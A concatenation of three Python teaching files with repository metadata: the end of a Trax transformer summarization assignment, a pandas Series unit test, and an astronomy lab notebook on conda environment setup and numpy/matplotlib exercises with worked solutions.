Logsoftmax\n        tl.LogSoftmax()\n    )\n\n    ### END CODE HERE ###\n\n\n# In[40]:\n\n\n# Take a look at the Transformer\nprint(TransformerLM(n_layers=1))\n\n\n# **Expected Output:**\n# ```CPP\n# Serial[\n#   Serial[\n#     ShiftRight(1)\n#   ]\n#   Embedding_33300_512\n#   Dropout\n#   PositionalEncoding\n#   Serial[\n#     Branch_out2[\n#       None\n#       Serial[\n#         LayerNorm\n#         Serial[\n#           Branch_out3[\n#             [Dense_512, AttnHeads]\n#             [Dense_512, AttnHeads]\n#             [Dense_512, AttnHeads]\n#           ]\n#           DotProductAttn_in3\n#           AttnOutput\n#           Dense_512\n#         ]\n#         Dropout\n#       ]\n#     ]\n#     Add_in2\n#   ]\n#   Serial[\n#     Branch_out2[\n#       None\n#       Serial[\n#         LayerNorm\n#         Dense_2048\n#         Serial[\n#           Relu\n#         ]\n#         Dropout\n#         Dense_512\n#         Dropout\n#       ]\n#     ]\n#     Add_in2\n#   ]\n#   LayerNorm\n#   Dense_33300\n#   LogSoftmax\n# ]\n# ```\n\n# In[41]:\n\n\n# UNIT TEST\n# test TransformerLM\nw2_tests.test_TransformerLM(TransformerLM)\n\n\n# <a name='3'></a>\n# # Part 3: Training\n# \n# Now you are going to train your model. As usual, you have to define the cost function, the optimizer, and decide whether you will be training it on a `gpu` or `cpu`. In this case, you will train your model on a cpu for a few steps and we will load in a pre-trained model that you can use to predict with your own words.\n\n# <a name='3.1'></a>\n# ### 3.1 Training the model\n# \n# You will now write a function that takes in your model and trains it. To train your model you have to decide how many times you want to iterate over the entire data set. Each iteration is defined as an `epoch`. For each epoch, you have to go over all the data, using your training iterator.\n# \n# <a name='ex05'></a>\n# ### Exercise 05\n# **Instructions:** Implement the `train_model` program below to train the neural network above. Here is a list of things you should do:\n# \n# - Create the train task by calling [`trax.supervised.training.TrainTask`](https://trax-ml.readthedocs.io/en/latest/trax.supervised.html#trax.supervised.training.TrainTask) and pass in the following: \n#     - <span style='color:blue'> labeled_data </span> = train_gen\n#     - <span style='color:blue'> loss_fn </span> = [tl.CrossEntropyLoss()](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.metrics.CrossEntropyLoss)\n#     - <span style='color:blue'> optimizer </span> = [trax.optimizers.Adam(0.01)](https://trax-ml.readthedocs.io/en/latest/trax.optimizers.html#trax.optimizers.adam.Adam)\n#     - <span style='color:blue'> lr_schedule </span> = [lr_schedule](https://trax-ml.readthedocs.io/en/latest/trax.supervised.html#trax.supervised.lr_schedules.warmup_and_rsqrt_decay)\n# \n# \n# - Create the eval task by calling [`trax.supervised.training.EvalTask`](https://trax-ml.readthedocs.io/en/latest/trax.supervised.html#trax.supervised.training.EvalTask) and pass in the following: \n#     - <span style='color:blue'> labeled_data </span> = eval_gen\n#     - <span style='color:blue'> metrics </span> = tl.CrossEntropyLoss() and [tl.Accuracy()](https://trax-ml.readthedocs.io/en/latest/trax.layers.html#trax.layers.metrics.Accuracy)\n#     \n#     \n# - Create the training loop by calling [`trax.supervised.Training.Loop`](https://trax-ml.readthedocs.io/en/latest/trax.supervised.html#trax.supervised.training.Loop) and pass in the following: \n#     - <span style='color:blue'> TransformerLM </span> \n#     - <span style='color:blue'> train_task </span> \n#     - <span style='color:blue'> eval_task </span> = [eval_task]\n#     - <span style='color:blue'> output_dir</span> = output_dir\n#     \n# You will be using a cross entropy loss, with Adam optimizer. Please read the [Trax](https://trax-ml.readthedocs.io/en/latest/index.html) documentation to get a full understanding. \n# \n# The training loop that this function returns can be runned using the `run()` method by passing in the desired number of steps.\n\n# In[42]:\n\n\nfrom trax.supervised import training\n\n# UNQ_C8\n# GRADED FUNCTION: train_model\ndef training_loop(TransformerLM, train_gen, eval_gen, output_dir = \"~/model\"):\n    '''\n    Input:\n        TransformerLM (trax.layers.combinators.Serial): The model you are building.\n        train_gen (generator): Training stream of data.\n        eval_gen (generator): Evaluation stream of data.\n        output_dir (str): folder to save your file.\n        \n    Returns:\n        trax.supervised.training.Loop: Training loop.\n    '''\n    output_dir = os.path.expanduser(output_dir)  # trainer is an object\n    lr_schedule = trax.lr.warmup_and_rsqrt_decay(n_warmup_steps=1000, max_value=0.01)\n\n    ### START CODE HERE (REPLACE INSTANCES OF 'None' WITH YOUR CODE) ###\n    train_task = training.TrainTask( \n      labeled_data=train_gen, # The training generator\n      loss_layer=tl.CrossEntropyLoss(), # Loss function (Don't forget to instantiate!)\n      optimizer=trax.optimizers.Adam(0.01), # Optimizer (Don't forget to set LR to 0.01)\n      lr_schedule=lr_schedule,\n      n_steps_per_checkpoint=10 \n    )\n\n    eval_task = training.EvalTask( \n      labeled_data=eval_gen, # The evaluation generator\n      metrics=[tl.CrossEntropyLoss(), tl.Accuracy()] # CrossEntropyLoss and Accuracy (Don't forget to instantiate both!)\n    )\n\n    ### END CODE HERE ###\n\n    loop = training.Loop(TransformerLM(d_model=4,\n                                       d_ff=16,\n                                       n_layers=1,\n                                       n_heads=2,\n                                       mode='train'),\n                         train_task,\n                         eval_tasks=[eval_task],\n                         output_dir=output_dir)\n    \n    return loop\n\n\n# Notice that the model will be trained for only 10 steps. \n# \n# Even with this constraint the model with the original default arguments took a very long time to finish. Because of this some parameters are changed when defining the model that is fed into the training loop in the function above.\n\n# In[43]:\n\n\n# UNIT TEST\n#\u00a0test training_loop\nw2_tests.test_training_loop(training_loop, TransformerLM)\n\n\n# In[44]:\n\n\n# Should take around 1.5 minutes\nget_ipython().system('rm -f ~/model/model.pkl.gz')\nloop = training_loop(TransformerLM, train_batch_stream, eval_batch_stream)\nloop.run(10)\n\n\n#  <a name='4'></a>\n#  # Part 4:  Evaluation  \n# \n# <a name='4.1'></a>\n# ### 4.1 Loading in a trained model\n# \n# In this part you will evaluate by loading in an almost exact version of the model you coded, but we trained it for you to save you time. Please run the cell below to load in the model.\n# \n# As you may have already noticed the model that you trained and the pretrained model share the same overall architecture but they have different values for some of the parameters:\n# \n#     \n#    `Original (pretrained) model: `                                 \n#                                        \n#     TransformerLM(vocab_size=33300, d_model=512, d_ff=2048, n_layers=6, n_heads=8, \n#                    dropout=0.1, max_len=4096, ff_activation=tl.Relu)\n#                    \n#    `Your model:`\n#    \n#     TransformerLM(d_model=4, d_ff=16, n_layers=1, n_heads=2)\n#    \n#    **Only the parameters shown for your model were changed. The others stayed the same.**\n\n# In[45]:\n\n\n# Get the model architecture\nmodel = TransformerLM(mode='eval')\n\n#\u00a0Load the pre-trained weights\nmodel.init_from_file('model.pkl.gz', weights_only=True)\n\n\n# <a name='5'></a>\n# # Part 5: Testing with your own input\n# \n# You will now test your input. You are going to implement greedy decoding. This consists of two functions. The first one allows you to identify the next symbol. It gets the argmax of the output of your model and then returns that index. \n# \n# <a name='ex06'></a>\n# ### Exercise 06\n# **Instructions:** Implement the next symbol function that takes in the cur_output_tokens and the trained model to return the the index of the next word. \n\n# In[48]:\n\n\n# UNQ_C9\ndef next_symbol(cur_output_tokens, model):\n    \"\"\"Returns the next symbol for a given sentence.\n\n    Args:\n        cur_output_tokens (list): tokenized sentence with EOS and PAD tokens at the end.\n        model (trax.layers.combinators.Serial): The transformer model.\n\n    Returns:\n        int: tokenized symbol.\n    \"\"\"\n    ### START CODE HERE (REPLACE INSTANCES OF 'None' WITH YOUR CODE) ###\n    \n    # current output tokens length\n    token_length = len(cur_output_tokens)\n    # calculate the minimum power of 2 big enough to store token_length\n    # HINT: use np.ceil() and np.log2()\n    # add 1 to token_length so np.log2() doesn't receive 0 when token_length is 0\n    padded_length = 2**int(np.ceil(np.log2(token_length + 1)))\n\n    # Fill cur_output_tokens with 0's until it reaches padded_length\n    padded = cur_output_tokens + [0] * (padded_length - token_length)\n    padded_with_batch = np.array(padded)[None, :] # Don't replace this None! This is a way of setting the batch dim\n\n    # model expects a tuple containing two padded tensors (with batch)\n    output, _ = model((padded_with_batch, padded_with_batch)) \n    # HINT: output has shape (1, padded_length, vocab_size)\n    # To get log_probs you need to index output wih 0 in the first dim\n    # token_length in the second dim and all of the entries for the last dim.\n    log_probs = output[0, token_length, :]\n    \n    ### END CODE HERE ###\n    \n    return int(np.argmax(log_probs))\n\n\n# In[49]:\n\n\n# Test it out!\nsentence_test_nxt_symbl = \"I want to fly in the sky.\"\ndetokenize([next_symbol(tokenize(sentence_test_nxt_symbl)+[0], model)])\n\n\n# **Expected Output:**\n# ```CPP\n# 'The'\n# ```\n\n# In[50]:\n\n\n# UNIT TEST\n#\u00a0test next_symbol\nw2_tests.test_next_symbol(next_symbol, TransformerLM)\n\n\n# <a name='5.1'></a>\n# ### 5.1 Greedy decoding\n# \n# Now you will implement the greedy_decode algorithm that will call the `next_symbol` function. It takes in the input_sentence, the trained model and returns the the decoded sentence. \n# \n# <a name='ex07'></a>\n# ### Exercise 07\n# \n# **Instructions**: Implement the greedy_decode algorithm. \n\n# In[51]:\n\n\n# UNQ_C10\n# Decoding functions.\ndef greedy_decode(input_sentence, model, next_symbol=next_symbol, tokenize=tokenize, detokenize=detokenize):\n    \"\"\"Greedy decode function.\n\n    Args:\n        input_sentence (string): a sentence or article.\n        model (trax.layers.combinators.Serial): Transformer model.\n\n    Returns:\n        string: summary of the input.\n    \"\"\"\n    \n    ### START CODE HERE (REPLACE INSTANCES OF 'None' WITH YOUR CODE) ###\n    # Use tokenize()\n    cur_output_tokens = tokenize(input_sentence) + [0]\n    generated_output = [] \n    cur_output = 0 \n    EOS = 1 \n    \n    while cur_output != EOS:\n        # Get next symbol\n        cur_output = next_symbol(cur_output_tokens, model)\n        # Append next symbol to original sentence\n        cur_output_tokens.append(cur_output)\n        # Append next symbol to generated sentence\n        generated_output.append(cur_output)\n        print(detokenize(generated_output))\n    \n    ### END CODE HERE ###\n        \n    return detokenize(generated_output)\n\n\n# In[52]:\n\n\n# Test it out on a sentence!\ntest_sentence = \"It was a sunny day when I went to the market to buy some flowers. But I only found roses, not tulips.\"\nprint(wrapper.fill(test_sentence), '\\n')\nprint(greedy_decode(test_sentence, model))\n\n\n# **Expected Output:**\n# ```CPP\n# :\n# : I\n# : I just\n# : I just found\n# : I just found ros\n# : I just found roses\n# : I just found roses,\n# : I just found roses, not\n# : I just found roses, not tu\n# : I just found roses, not tulips\n# : I just found roses, not tulips\n# : I just found roses, not tulips.\n# : I just found roses, not tulips.<EOS>\n# : I just found roses, not tulips.<EOS>\n# ```\n\n# In[53]:\n\n\n# Test it out with a whole article!\narticle = \"It\u2019s the posing craze sweeping the U.S. after being brought to fame by skier Lindsey Vonn, soccer star Omar Cummings, baseball player Albert Pujols - and even Republican politician Rick Perry. But now four students at Riverhead High School on Long Island, New York, have been suspended for dropping to a knee and taking up a prayer pose to mimic Denver Broncos quarterback Tim Tebow. Jordan Fulcoly, Wayne Drexel, Tyler Carroll and Connor Carroll were all suspended for one day because the \u2018Tebowing\u2019 craze was blocking the hallway and presenting a safety hazard to students. Scroll down for video. Banned: Jordan Fulcoly, Wayne Drexel, Tyler Carroll and Connor Carroll (all pictured left) were all suspended for one day by Riverhead High School on Long Island, New York, for their tribute to Broncos quarterback Tim Tebow. Issue: Four of the pupils were suspended for one day because they allegedly did not heed to warnings that the 'Tebowing' craze at the school was blocking the hallway and presenting a safety hazard to students.\"\nprint(wrapper.fill(article), '\\n')\nprint(greedy_decode(article, model))\n\n\n# **Expected Output:**\n# ```CPP\n# Jordan\n# Jordan Ful\n# Jordan Fulcol\n# Jordan Fulcoly\n# Jordan Fulcoly,\n# Jordan Fulcoly, Wayne\n# Jordan Fulcoly, Wayne Dre\n# Jordan Fulcoly, Wayne Drexe\n# Jordan Fulcoly, Wayne Drexel\n# Jordan Fulcoly, Wayne Drexel,\n# .\n# .\n# .\n# \n# Final summary:\n# \n# Jordan Fulcoly, Wayne Drexel, Tyler Carroll and Connor Carroll were\n# suspended for one day. Four students were suspended for one day\n# because they allegedly did not heed to warnings that the 'Tebowing'\n# craze was blocking the hallway and presenting a safety hazard to\n# students.<EOS>\n# ```\n\n# In[54]:\n\n\n#\u00a0UNIT TEST\n#\u00a0test greedy_decode\nw2_tests.test_greedy_decode(greedy_decode)\n\n\n# **Congratulations on finishing this week's assignment!** You did a lot of work and now you should have a better understanding of the enconder part of Transformers and how Transformers can be used for text summarization.\n# \n# **Keep it up!**\n", "meta": {"hexsha": "f1b5fbd5c6483990f8e0e5ea7e7013e3bc1bff1f", "size": 56198, "ext": "py", "lang": "Python", "max_stars_repo_path": "Part4_Attention_Models/C4_W2_Assignment.py", "max_stars_repo_name": "picsag/NLP", "max_stars_repo_head_hexsha": "7fe8ec5cf9636fbbe1d5dd077455f4db62800ec9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Part4_Attention_Models/C4_W2_Assignment.py", "max_issues_repo_name": "picsag/NLP", "max_issues_repo_head_hexsha": "7fe8ec5cf9636fbbe1d5dd077455f4db62800ec9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Part4_Attention_Models/C4_W2_Assignment.py", "max_forks_repo_name": "picsag/NLP", "max_forks_repo_head_hexsha": "7fe8ec5cf9636fbbe1d5dd077455f4db62800ec9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.9552143314, "max_line_length": 1045, "alphanum_fraction": 0.6746859319, "include": true, "reason": "import numpy", "num_tokens": 14954, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.49609382947091946, "lm_q2_score": 0.17106119379155804, "lm_q1q2_score": 0.08486240270192111}}
{"text": "#!/usr/bin/env python3\n\nimport unittest\nfrom unittest.mock import patch\nimport pandas as pd\nimport numpy as np\n\nfrom tmc import points\n\nfrom tmc.utils import load, get_out, patch_helper\n\nmodule_name=\"src.operations_on_series\"\ncreate_series = load(module_name, \"create_series\")\nmodify_series = load(module_name, \"modify_series\")\nmain = load(module_name, \"main\")\nph = patch_helper(module_name)\n\n@points('p03-14.1')\nclass OperationsOnSeries(unittest.TestCase):\n\n    \n    def test_creation(self):\n        self.assertEqual(\"\", \"\")\n        L1=[2,3,4]\n        L2=[9,8,7]\n        indices=list(\"abc\")\n#        with patch(patch_name(module_name, \"pd.core.series.Series\"), wraps=pd.core.series.Series) as ps:\n        with patch(ph(\"pd.Series\"), wraps=pd.Series) as ps:\n            ret = create_series(L1, L2)\n            self.assertEqual(len(ret), 2, msg=\"Expected a pair of Series as a return value from function create_series!\")\n            s1, s2 = ret\n            #ps.assert_called()\n            self.assertEqual(ps.call_count, 2, msg=\"Expected the constructor pd.Series to be called exactly twice!\")\n        np.testing.assert_array_equal(s1.values, L1,\n                                      err_msg=\"Expected values of first series to be %s\" % L1)\n        np.testing.assert_array_equal(s2.values, L2,\n                                      err_msg=\"Expected values of second series to be %s\" % L2)\n        np.testing.assert_array_equal(s1.index, indices,\n                                      err_msg=\"Expected the index of first series to be %s\" % indices)\n        np.testing.assert_array_equal(s2.index, indices,\n                                      err_msg=\"Expected the index of second series to be %s\" % indices)\n\n\n\n    def test_modification(self):\n        indices=list(\"abc\")\n        s1 = pd.Series([0,1,2], index=indices)\n        s2 = pd.Series([3,4,5], index=indices)\n        ret = modify_series(s1, s2)\n        self.assertEqual(len(ret), 2, msg=\"Expected modify_series to return a pair of Series!\")\n        t1, t2 = ret\n        self.assertIsInstance(t1, pd.Series, msg=\"Expected modify_series to return a pair of Series!\")\n        self.assertIsInstance(t2, pd.Series, msg=\"Expected modify_series to return a pair of Series!\")\n        t1_ind=list(\"abcd\")\n        t2_ind=list(\"ac\")\n        np.testing.assert_array_equal(t1.index, t1_ind,\n                                      err_msg=\"Expected the index of first series to be %s!\" % t1_ind)\n        np.testing.assert_array_equal(t2.index, t2_ind,\n                                      err_msg=\"Expected the index of second series to be %s!\" % t2_ind)\n        \n        np.testing.assert_array_equal(t1.values, [0,1,2,4],\n                                      err_msg=\"Values of first series is not correct!\")\n        np.testing.assert_array_equal(t2.values, [3, 5],\n                                      err_msg=\"Values of second series is not correct!\")\n\n    def test_main(self):\n        with patch(ph(\"create_series\"), wraps=create_series) as pcs,\\\n             patch(ph(\"pd.Series.__add__\"), side_effect=[pd.Series()]) as padd,\\\n             patch(ph(\"modify_series\"), wraps=modify_series) as pms:\n            main()\n            pcs.assert_called()\n            pms.assert_called()\n            padd.assert_called()\n            \nif __name__ == '__main__':\n    unittest.main()\n    \n", "meta": {"hexsha": "a3e4d32dfa843285f81f69d3aaef102744af47f9", "size": 3332, "ext": "py", "lang": "Python", "max_stars_repo_path": "hy-data-analysis-with-python-spring-2020/part03-e14_operations_on_series/test/test_operations_on_series.py", "max_stars_repo_name": "Melimet/DAP2020", "max_stars_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hy-data-analysis-with-python-spring-2020/part03-e14_operations_on_series/test/test_operations_on_series.py", "max_issues_repo_name": "Melimet/DAP2020", "max_issues_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hy-data-analysis-with-python-spring-2020/part03-e14_operations_on_series/test/test_operations_on_series.py", "max_forks_repo_name": "Melimet/DAP2020", "max_forks_repo_head_hexsha": "0854fe4ce8ace6abf6dc0bbcf71984595ff6d42a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.7179487179, "max_line_length": 121, "alphanum_fraction": 0.6005402161, "include": true, "reason": "import numpy", "num_tokens": 745, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.1871326753623991, "lm_q1q2_score": 0.08482010225882433}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Lab 1 Solutions\n# \n# ### Objectives\n# In this lab, we'll \n# - Review the computational infrastructure around our data science environments,\n# - Go through the process of ensuring that we have a Python environment set up for this class with the proper installed packages\n# - Within our environment, we'll review the basic data science operations in Python, and introduce some tips and tricks. \n# \n# \n# ```{admonition} Take a Deep Breath\n# Don't freak out if stuff presented here is brand new to you! Ask a friend, google around (esp. stack overflow) and find a solution. All of these examples can be done in a few lines of code.\n# ```\n# \n# # Part I: Computational Ecosystem \n# \n# In the space below, or in your own assignment, answer the following: \n# \n# ## Question A\n# \n# Describe the following terms, and point out the differences between them. Feel free to look things up.\n# - python:\n# - the terminal:\n# - the file system:\n# - jupyter:\n# - an IDE: \n# - a text editor:\n# - git: \n# - PATH: \n# \n\n# I am writing this lab in a notebook. We'll be discussing the pros and cons of notebooks in class. Below, I'm going to check which python installation on my computer is being pointed to within my PATH. As a reminder, you can see your full path by echoing it from the terminal. Within a notebook, that looks like this:\n\n# In[2]:\n\n\nget_ipython().system('echo $PATH')\n\n\n# ```{note}\n# The \"!\" in my notebook allows me to run terminal commands from a notebook; you don't need this symbol when running commands in an actual terminal.\n# ```\n\n# I can check my python as follows:\n\n# In[3]:\n\n\nget_ipython().system('which python')\n\n\n# We can see that calls to `python` are triggering the python installed in `anaconda3`, which is what we want (see the installation video for more details). If your call to `which python` in the terminal returns something like `usr/bin/python`, then something has likely gone wrong with your installation. There are some troubleshooting steps suggested in the installation video. \n# \n# ## Setting up an Environment. \n# \n# We can think of packages as programs installed on our computer. But what if one of my projects needs Photoshop 14.0, and another needs a feature that was only available in Photoshop 12.5.2? An environment is the system on which your code is being executed. When you fire up a terminal, this is usually your *base* environment, the default one for your *user* on a given computer system. But rather than always installing programs in this base installation, we can create custom environments for each of our projects. We can then install the exact dependencies for those projects within our environments, and we'll know they won't mess with each other. \n# \n# For this class, we're going to be doing a lot of package installations. To ensure we are all on the same page and are working with the same tools, we're going to use a `conda environment` to maintain versioning. Note: there are multiple environment creation tools/methods. Conda environments are the predominant standard in astronomy, hence their use here. \n# \n# In your terminal, type the following:\n# ```{note}\n# If you are on WINDOWS, you NEED to use the ANACONDA TERMINAL. NOT YOUR WINDOWS POWER SHELL/COMMAND PROMPT. Search your pc for anaconda and you'll see an anaconda launcher (if you followed the installation video correctly). From there, you should be able to find an anaconda terminal/prompt. That's where you should do anything whenever I say \"from your terminal\".\n# ```\n# \n# \n\n# In[ ]:\n\n\nconda create -n a330 python=3.8 \n\n\n# Once you run this, answer \"y\" to the prompts, and your new environment will be installed.\n# \n# ```{note}\n# The above command may take several minutes to execute.\n# ```\n# \n# \n# Next, we want to activate this environment (still in our terminal). We do this as follows:\n\n# In[ ]:\n\n\nconda activate a330\n\n\n# When you do so, you should see the left hand edge of your prompt switch from (base) to (a330). \n# \n# Next, let's make an alias so that getting into our a330 environment is a snap. We're going to access a file called `.bash_profile`, which allows us to set aliases and environment variables. This file is located in your home directory, so I can print mine here:\n\n# In[6]:\n\n\nget_ipython().system('more ~/.bash_profile')\n\n\n# Notice above I use the `~` which is a shorthand for home directory. On my computer, the default home directory for my user is `/Users/ipasha/`. \n# \n# \n# \n# This file has some conda stuff in it at the top, as well as some path and python path exports, as well as an alias. \n# \n# Yours should also have the conda init stuff, if you installed anaconda properly. Using your text editor of choice, add a line to this file that reads `alias a330='conda activate a330'`. \n# \n# ```{sidebar} Using Vi/vim\n# Vi/vim is a built-in terminal program that allows for the editing of files. It is helpful to learn, especially when working on remote servers. We'll go into it more later, but here is a step by step for performing the above step with vim. \n# - First: from the terminal, type `vim ~/.bash_profile` and hit enter. This will open the editor. If 'vim' isn't recognized, try 'vi'. \n# - Next: Press the \"I\" key to open insert mode. Move your cursor with the arrow keys to the desired line, then type in the alias command shown to left. \n# - Finally: Press `esc` to get out of insert mode, then type `:wq` and hit enter in order to \"write\" then \"quit\". \n# ```\n# \n# \n# \n# Now, from your terminal, source your profile by typing `source ~/.bash_profile`. You're good to go! Test that you can activate your environment by typing `a330` and hitting enter. \n# \n# ```{note}\n# To deactivate, just type `conda deactivate`. \n# ```\n# \n# \n\n# ## Adding Jupyter\n# \n# You'll be using notebooks during this class, and we need to make sure that we can access our new environment from within Jupyter notebook. To ensure this, we're going to do the following:\n# \n# First, make sure your environment is activated. \n# \n# Then, type:\n\n# In[ ]:\n\n\nconda install -c anaconda ipykernel\n\n\n# This ensures we can select different kernels inside jupyter. A kernel is basically \"the thing that is python\", the root thing being run on your system when you use python. By creating environments, we're creating different unique kernels, and we can now get to them within our notebooks. \n# \n# Now, run the following:\n\n# In[ ]:\n\n\npython -m ipykernel install --user --name=a330\n\n\n# Once you've done this, you should have the ability to access your new environment from within Jupyter. We can test this as follows: \n# - First, open a new terminal window, and activate your environment (if you made the alias, this means typing `a330` in your terminal. \n# - Next, type `jupyter lab` to open jupyter lab. If for some reason you don't have jupyter lab yet, you can install it now with `conda install -c conda-forge jupyterlab`. \n# - Once you have lab open, there should be a 'launcher' page, with one option being to create a new notebook using python -- you *should* see your environment listed there. \n# - If you don't hit refresh on the webpage just in case. \n# - You can also click on the option to open a python3 notebook. Inside, in the top right corner, it should say your current environment (probably Python 3). Clicking that, it should give you the option to choose a different environment, and your environment should be listed there. \n# \n# ```{note}\n# If you already had a lab open, you'll have to hit refresh to get it to show up. \n# ```\n# ## Installing Packages\n# \n# Now that we have our environment, we're going to install the set of packages we need for this class. We may need more of them as the semester goes on, but for now, do the following (in your terminal, within your environment). \n\n# In[ ]:\n\n\nconda install -n a330 numpy scipy astropy matplotlib \n\n\n# (again, hitting \"y\" when prompted). Again, this step might take a minute or so to run.\n# \n# Congrats, you now have an environment set up for this class, and can jump in and out of it at will, either in your terminal, or within a Jupyter notebook.\n# \n# ```{admonition} Hot Tip\n# It's highly recommended you do these steps anytime you start a new research project. Up front, you may not know all the dependencies that will arise, but as you go along, if you keep your work to that environment, you'll be able to carefully control which versions of which packages you're accessing at all times.\n# ```\n# \n# \n\n# # Part II: Python Review\n# \n# In this section, I'll ask you to perform some pythonic operations to get back into the swing of things if it has been a little while. \n# \n# For this assignment, please carry out your work in a Jupyter notebook, with the questions labeled and your output shown. You'll submit this notebook via Github, but we will discuss how to perform this step in class.\n\n# ## Question 1\n# Create a 2D array of dimensions 1000 x 1000, in which the values in each pixel are random-gaussian distributed about a mean of 10, with a sigma of 2, and then use matplotlib to display this image. Make sure (0,0) is in the lower lefthand corner. \n\n# In[145]:\n\n\nimport numpy as np\nimport scipy.stats as stats\nimport matplotlib.pyplot as plt\n\n\n# In[146]:\n\n\n# Solution 1\nmu = 10\nsigma = 2\nGauss = stats.norm(loc=mu,scale=sigma)\narray = Gauss.rvs((1000,1000))\nfig, ax = plt.subplots(figsize=(10,10))\nax.imshow(array,origin='lower');\n\n\n# In[147]:\n\n\n#Solution 2:\narray_np = np.random.normal(loc=10,scale=2,size=(1000,1000))\nfig, ax = plt.subplots(figsize=(10,10))\nax.imshow(array_np,origin='lower');\n\n\n# ## Question 2\n# \n# The distribution of pixels in your above image should not have many outliers beyond 3-sigma from the mean, but there will be some. Find the location of any 2 sigma outliers in the image, and highlight them by circling their location. \n# Confirm that the fraction of these out of the total number of pixels agrees with the expectation for a normal distribution.\n\n# In[149]:\n\n\n# Solution \noutliers = np.where((array>mu+3*sigma)|(array<mu-3*sigma))\nfig, ax = plt.subplots(figsize=(10,10))\nax.imshow(array,origin='lower')\nax.plot(outliers[0],outliers[1],'o',ms=5,color='None',mec='r');\n\n\n# ## Question 3\n# \n# When dealing with astronomical data, it is sometimes advisable to not include outliers in a calculation being performed on a set of data (in this example, an image). We know, of course, that the data we're plotting ARE coming from a gaussian distribution, so there's no reason to exclude, e.g., 3-sigma outliers, but for this example, let's assume we want to. \n# \n# Create a numpy masked array in which all pixels that are > 3$\\sigma$ from the image mean are masked. Then, calculate the mean and sigma of the new masked array. \n\n# In[34]:\n\n\n# Solution \nclipped_array = np.ma.masked_where((array>mu+3*sigma)|(array<mu-3*sigma),array)\nprint(f'Clipped Mean: {np.mean(clipped_array):.3f}  |  Clipped Sigma: {np.std(clipped_array):.3f}')\n\n\n# In[154]:\n\n\n# solution 2\nm= (array < mu+3.*sigma) & (array>mu-3.*sigma)\n\nmn = np.mean(array[m])\nst = np.std(array[m])\nprint('Clipped mean; {:0.3f};  Clipped Sigma: {:0.3f}'.format(mn,st))\n\n\n# As expected, clipping the outliers of this distribution does not affect the mean in any strong way, but does noticably decrease $\\sigma$. \n\n# ## Question 4:\n# \n# Using Array indexing, re-plot the same array from above, but zoom in on the inner 20% of the image, such that the full width is 20% of the total. Note: try not to hard code your indexing. You should be able to flexibly change the percentage. For this one, use a white-to-black color map.\n# \n\n# In[150]:\n\n\n# solution \ncent = int(array.shape[0] / 2)\nperc = int(0.2 * array.shape[0]*0.5)\ncropped_array = array[cent-perc:cent+perc,cent-perc:cent+perc]\nfig, ax = plt.subplots(figsize=(10,10))\nax.imshow(cropped_array,origin='lower',cmap='gray_r');\n\n\n# As expected, our image is now 200 by 200 pixels across. Note that our new image has its own indexing. A common \"gotcha\" when working with arrays like this is to index in, but then try to use indices found (e.g., via `where()`) in the larger array on the cropped in version, which can lead to errors.\n\n# ## Question 5\n# \n# Often, we have an expression to calculate of the form \n# \n# $$\n# \\sum_i \\sum_j a_i b_j\n# $$\n\n# Your natural impulse for coding this double sum might look like this:\n\n# In[ ]:\n\n\ntotal = 0\nfor i in a:\n    for j in b:\n         total+= i*j\n\n\n# which, mathematically, makes sense! But as it turns out, there's a way we can do this without any loops at all --- and when $\\vec{a}$ and $\\vec{b}$ get long, this becomes hugely important in our code.\n# \n# The trick we're going to use here is called [array broadcasting](https://numpy.org/doc/stable/user/basics.broadcasting.html), which you can read about at the link if you're not already familar. I'm going to give you $\\vec{a}$ and $\\vec{b}$ below. For this exercise, calculate the double sum indicated above without the use of a for-loop. \n# \n# ```{admonition} Hint\n# The command `np.newaxis` will be useful here, or for a slightly longer solution, try `np.repeat` and `reshape()`. \n# ```\n\n# In[35]:\n\n\na = np.array([1,5,10,20])\nb = np.array([1,2,4,16])\n\n# Solution\noutput = np.sum(a[:,np.newaxis]*b)\n\n\n# In[37]:\n\n\noutput\n\n\n# We can confirmed the above worked using our slow loop:\n\n# In[40]:\n\n\ntotal = 0\nfor i in a:\n    for j in b:\n         total+= i*j\ntotal\n\n\n# We can also perform this trick without knowing about `np.newaxis` explicitly. You may have done it this way. \n\n# In[55]:\n\n\nmatrix_a = np.repeat(a,len(b)).reshape(len(a),len(b))\nmatrix_b = np.repeat(b,len(a)).reshape((len(b)),len(a)).T\noutput = np.sum(matrix_a*matrix_b)\noutput\n\n\n# I want to take a moment here and really highlight the difference in speed between these two methods. Let's bump up the length... by a lot: \n\n# In[68]:\n\n\na = np.random.random(5000)\nb = np.random.random(5000)\n\n\n# In[69]:\n\n\nget_ipython().run_cell_magic('timeit', '', '\\ntotal = 0\\nfor i in a:\\n    for j in b:\\n         total+= i*j')\n\n\n# We can see that above, it took 5 whole seconds to run the cell. That's for only 5000 entries in each list. Many astronomical lists on which we might have to do this are 10,000 or more long! Notice this is an exponential operation. Try running the above on your computer with 10000 long lists. I'll wait... until you get bored and kill the process after many minutes.\n# \n# Now see below:\n\n# In[70]:\n\n\nget_ipython().run_cell_magic('timeit', '', 'output = np.sum(a[:,np.newaxis]*b)')\n\n\n# Wow. 52 ms to do that whole thing. Broadcasting. We love it, we use 